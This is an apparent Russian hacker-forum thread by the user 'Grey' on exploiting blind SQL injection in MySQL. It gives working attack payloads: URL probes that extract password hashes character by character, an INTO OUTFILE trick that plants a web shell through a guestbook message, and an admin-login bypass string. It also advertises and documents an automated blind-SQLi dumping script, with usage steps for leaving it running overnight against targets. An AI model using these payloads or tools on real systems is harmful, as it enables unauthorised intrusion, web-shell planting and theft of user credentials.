Для себя я нашел только два способа, как можно ускорить столь утомительный процесс (разумется о выводе файла руками и речи быть не может, но даже скрипты будут выводить его всю ночь, а то и больше).
Может кому то будет интересно с этим поработать:


1) Использовать параллельно несколько скриптов, которые будут доставать одновременно разные символы (к примеру один скрипт достает 1,3,5 и т.д. символы файла, а второй 2,4,6) или разные части файла (один скрипт первую половину файла, второй - вторую).
Приемущество на лицо: скорость процесса будет увеличена в 2,3 и т.д. раза (смотря сколько скриптов параллельно будут запущены).
Минусы такого варианта тоже достаточно явные: 2, 3 одновременно запущенных скрипта - это еще нормально, но чем больше скриптов запущено, тем больше нагрузка на атакуемый сервер и тем больше возможность его заддосить, что сведет работу на нет.


2) Искать данные в файле средставми MySQL и выводить не весь файл, а только часть.
Зачем выводить файл целиком, когда средставми MySQL можно реализовать вывод определенной части файла?
К примеру переменной $password. На практике реализация получилась достаточно громоздкой.
Из плюсов отмечу скорость, но при условии что мы точно знаем что нужно искать в файле.
Из минусов - громоздкость получаемого запроса, а если искать все вхождения заданной комбинации в файл, то запрос получается еще более большим.


2. Вывод результата запроса в файл.

Что бы успешно эксплуатировать возможность вывода результата запроса в файл, даже при обычных инъекциях нужно не малое, а именно:

1) Наличие соотвествуещей привилегии для текущего пользователя БД (File_priv = Y).
2) Кавычки не должны фильтроваться/экранироваться (двойные или одинарные - какие именно значения не имеет).
3) Директория в которой мы хотим создать файл должна быть доступна для записи.

В случаях с обычными слепыми инъекциями (под обычными понимается версия мускула >= 4.1) разницы нету - всё тоже самое, т.к. union доступен (оператор union доступен уже с версии 4.0).

А вот случаи с 3 версией принципиально другие - добавить данные к результату запроса с помощью объединения запросов мы не можем.
А если просто подставить к запросу "into outfile '/www/shell.php'", то ничего полезного в файл не выведется, выведется результат запроса (текст новости, сообщение из гостевой книги/форума и т.д. вообщем выполнится тот запрос который и должен выполнится с той лишь разницей что его результат будет помещен в файл).
Толку от этого нет, но скорее всего есть возможность повлиять на результат запроса "естественным" путем - к примеру добавлением комментария в гостевой книге или сообщения на форуме с текстом шелла, а затем с помощью SQL инъекции отбираем это сообщение и выводим в файл (учтите SQL инъекция должна быть в запросе, который использует таблицу, в которую помещается сообщение с шеллом!!!).


Предположим SQL инъекция в запросе который выводит сообщение из гостевой книги:

Код:
select mess from gbook where id = 4 into outfile '/www/shell.php';
Таким образом наше сообщение (к примеру с номером 4) с кодом шелла будет выведено в файл, таким образом будет создан шелл.

Способ почти не юзабельный из-за того что условий для успешной эксплуатации должно быть много. Но если повезёт...

3. Получение данных из таблиц.

Как уже было сказано выше, работать с другими таблицами (кроме той, что используется в уязвимом запросе) через SQL инъекцию не получится в случае MySQL 3 версии.
А выдирать все данные из то таблице, что используется в уязвимом запросе - более чем возможно.


Предположим что вы найшли SQL инъекцию в скрипте который работает с таблице пользователей (к примеру скрипт выводит информацию о пользователе - его логин, имя, мыльник и т.д.).
В таком случае вы можете подбирать колонку с паролем пользователя, а затем и сам пароль:


Ищем колонку с паролем:

Код:
profile.php?id=2+and+length(password)>0
profile.php?id=2+and+length(pass)>0
profile.php?id=2+and+length(pwd)>0
Подбираем пароль:

Код:
profile.php?id=2+and+ascii(substring(pwd,1,1))>127
profile.php?id=2+and+ascii(substring(pwd,1,1))>63
Таким образом вы сможете получить нужные вам данные, главное в данном случае найти SQL инъекцию в запросе, который работает с нужной вам таблицей (это кстати тоже достаточно редкий случай, но встречаемый).

Cовет: первое что лучше проверить это наличие SQL инъекции в авторизации в админке (логин=1' or 1=1/* пароль=1' or 1=1/*).

Сообщение переоформлено и дополнено: 4.10.08
© Grey

Другие статьи на эту же тему:
http://www.securitylab.ru/contest/212101.php
http://www.injection.rulezz.ru/mysql_char_brute.html

Последний раз редактировалось Grey; 04.10.2008 в 22:13..
 

SQL инъекция (в т.ч. и blind SQL): Скрипт для работы со слепыми инъекциями.
  #5  
Старый 04.10.2008, 17:18
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию SQL инъекция (в т.ч. и blind SQL): Скрипт для работы со слепыми инъекциями.

Скрипт для работы со слепыми инъекциями.

Наверное аналогов очень много, но этот скрипт заточен под слепые инъекции, а так же я постарался включить в него все возможные функции (к примеру работа с information_schema (очень полезно если версия БД = 5) или вывод файла (что будет применимо если версия БД = 3)).

Скрипт заточен для работы с MySQL.

Текущая версия: 3.8

Изменения версии 3.8 (05.07.09):
  1. !!! Исправлены ошибки из-за которых не правильно работали функции: определения длины результата запроса, быстрого получения цифровых символов и символов хеша.
  2. Незначительно оптимизированы почти все опции. За счет создания ещё одной функции. Код также стал ещё более читабельным.
  3. Убрана опция для быстрого получения хеша, вместо неё к некоторым* опциям добавлена возможность указывать предполагаемый набор символов (все символы, символы хеша или цифровые символы). Это намного разумнее и удобнее.
    *опции: получения результата запроса, получение указанной части результата запроса, вывод нескольких строк результата запроса.

Изменения версии 3.7 (26.06.09):
  1. Добавлена возможность передачи POST'овых переменных при работе с инъекцией в куках.
  2. Формирование отправляемого пакета вынесено в отдельную функцию. Это делает код более читабельным.
  3. Оптимизировано получение длины строки. Теперь в среднем нужно всего 3.4 запроса для получения одной цифры.
  4. Немного изменена опция отладки. Теперь в файл сохраняется только отправляемый пакет и получаемая страница - этого более чем достаточно.

Изменения версии 3.6 (15.06.09):
  1. Оптимизированы почти все функции. Ускорено определение длины строки, ускорен бинарный поиск.
  2. Код приведён к читабельному виду.
  3. Добавлена опция для быстрого получения хешей. Всего 4 запроса на 1 символ. Таким образом для получения md5 хеша нужно всего 128 запросов.
  4. Изменены и дополнены некоторые опции.
  5. Исправлено множество мелких ошибок. К примеру добавлено использование функции rawurlencode(), что позволяет более корректно отправлять данные.
  6. Появилась возможность работать с несколькими строками таблицы. Т.е, в своём роде, возможность дампа таблиц.
  7. Добавлена возможность отладки скрипта. Это должно помочь с настройкой скрипта.
  8. Возможность работать при фильтрации символов `>` и `<` без потерии скорости. Благодаря использованию конструкции `between n1 and n2`.

Описание скрипта:

Скрипт создан для облегчения достаточно рутинной задачи - эксплуатирования `слепых` sql инъекций.
Скрипт может работать с инъекциями в переменных разных типов (POST/GET/COOKIE).
Достаточно простая структура скрипта позволяет без особого труда создавать эксплойты на основе этого скрипта - либо простой настройкой файла config.php, либо использованием готовых функций (дополнить которые, в случае необходимости, труда не составит).
Возможность определять правильность выполнения результата запроса как по наличию текста так и по отсутствию ошибки, а так же возможность использования `more than 1 row` делают скрипт достаточно гибким.
В архив со скриптом входят два словаря - для брута имён таблиц (около 1500 записей) и для брута имён столбцов (около 300 записей).


!!! Всю информацию скрипт сохраняет в файл (файл создаётся скриптом автоматически после завершения работы), т.е. держать браузер открытым не нужно: залил на какой нидь сайт, настроил, поставил вывод нужной информации, выключил комп, лёг спать, а на утро всё будет готово - вся информация будет сохранена в файле.

Производительность:

Оптимизированный бинарный поиск позволяет получать один символ за 8 запросов, а символ хеша всего за 4 запроса.
Таким образом для получения хеша md5 достаточно 128 запросов.

Есть три функции для определения символа:

Логический поиск с использованием символов `>` и `<`. 8 запросов на 1 символ / 4 запроса на 1 символ хеша.
Полный брут. От 1 до 255 запросов на 1 символ / от 1 до 16 запросов на 1 символ хеша.
Логический поиск с использованием конструкции `between n1 and n2`. 8 запросов на 1 символ / 4 запроса на 1 символ хеша.

Для работы с числовыми данными есть оптимизированная функция, получающая одну цифру за 3.4 запроса (для получения 6 из 10 цифр нужно всего 3 запроса, а для остальных 4).


!!! Время работы некоторых опций (к примеру получение файла или вывод всех таблиц из information_schema) очень велико.

Основные функции скрипта:

Цитата:

1. Вывод version(), user(), database()
Требуется версия mysql >= 3

2. Подбор имён таблиц.
Подборка может осуществляться не только по встроенной базе имён таблиц (содержит 30 имён таблиц), но и по указанному файлу-словарю.
Требуется версия mysql >= 4.1


3. Подбор имён колонок к указанной таблице.
Подборка может осуществляться не только по встроенной базе имён колонок (содержит 35 имён колонок), но и по указанному файлу-словарю.
Требуется версия mysql >= 4.1


4. Вывод результата указанного запроса.
Ну к примеру "(select pass from user limit 0,1)". Длина определяется автоматически, т.е. результат выводится польностью.
Требуется версия mysql >= 4.1


5. Вывод содержимое указанного файла.
Конечно, это требует времени, но иногда бывает нужным и такое.
Требуется версия mysql >= 3


6. Вывод нескольких строк указанного запроса (дамп).
Требуется версия mysql >= 4.1

7. Вывод части указанного запроса.
К примеру, часть файла для экономии времени.
Требуется версия mysql >= 4.1 (для вывода части файла достаточно 3-ей версии, но для выполнения подзапросов нужна 4-ая версия)


8. Вывод имён таблиц и БД в которых они находятся через information_schema.tables.
Выводит имена всех таблиц, в том числе и системных таблиц, находящихся в БД information_schema.
Требуется версия mysql >= 5


9. Вывод имён колонок к указанной таблице, находящейся в указанной БД, через information_schema.columns.
Требуется версия mysql >= 5

10. Вывод имён таблиц из указанной БД через information_schema.tables.
Более оптимизированный вариант одной из предудыщих опций.
Требуется версия mysql >= 5

Дополнительные возможности:

Мелочи, которые могут быть очень полезны в некоторых случаях.
  1. Можно использовать различные символы-комментарии. Это может пригодиться при фильтрации каких то символов.
  2. Можно указывать различные символы-разделители. Это может пригодиться при фильтрации каких то символов.
  3. Можно указывать COOKIE/User-Agent/Referer.
  4. Можно установить задержку (в секундах) перед отправкой очередного пакета. На случай если целевой сервер не выдерживает большое количество запросов или если на сервере используется антиДДоС.
  5. Можно выбирать различные функции определения символа. Опять же - на случай фильтрации каких то символов.
  6. Есть опции отладки скрипта.
  7. Для некоторых опций есть возможность указывать предполагаемый набор символов (все символы, символы хеша или цифровые символы). Это позволяет значительно ускорить работу скрипта.

Как юзать:
  1. Залить все файлы на какой нидь сайт (можно и на локалку, но лучше сайт).
  2. Сделать директорию в которой находиться скрипт доступной на запись (результат работы и сообщения отладки помещаются в файл).
  3. Отредактировать файл config.php (в нём все прокомментировано), другие файлы редактировать не нужно.
  4. В браузере открываем main.php, тем самым запуская скрипт.
  5. Если в течение 30 секунд сообщения об ошибке не появляются - браузер можно закрыть - работу это не прервёт.
  6. Результат смотреть в файле result.txt.

Отладка и сообщения об ошибках:

Если не указан один из обязательных параметров - будет выведено сообщение с ошибкой.
Если все параметры указаны, но скрипт выводит ошибку `Невозможно провести sql инъекцию...`, то это говорит о том, что параметры введены не верно - следует проверить правильность заполнения параметров (путь до уязвимого скрипта, переменные и т.д.).

Для отладки есть две опции debug1 и debug2.
При включенном debug1 будет создаваться файл с сообщениями о неправильном заполнение некоторых данных.
При включенном debug2 будет создаваться файл с отправляемым пакетом и полученной страницей.


Содержимое архива:

main.php - управляющий файл
config.php - файл с настройками
lib_and_data/grey_data.php - небольшой словарь с именами таблиц и колонок.
lib_and_data/grey_function.php - библиотека функций для работы со слепыми sql инъекциями.
dic/grey_table_name.txt - большой словарь с имена тиблиц
dic/grey_field_name.txt - словарь с именами колонок

© Grey
Вложения
Тип файла: zip script_for_bsql.zip (14.5 Кб, 445 просмотров)

Последний раз редактировалось Grey; 06.07.2009 в 12:10..
 
Закрытая тема


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



TEST QR: []
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ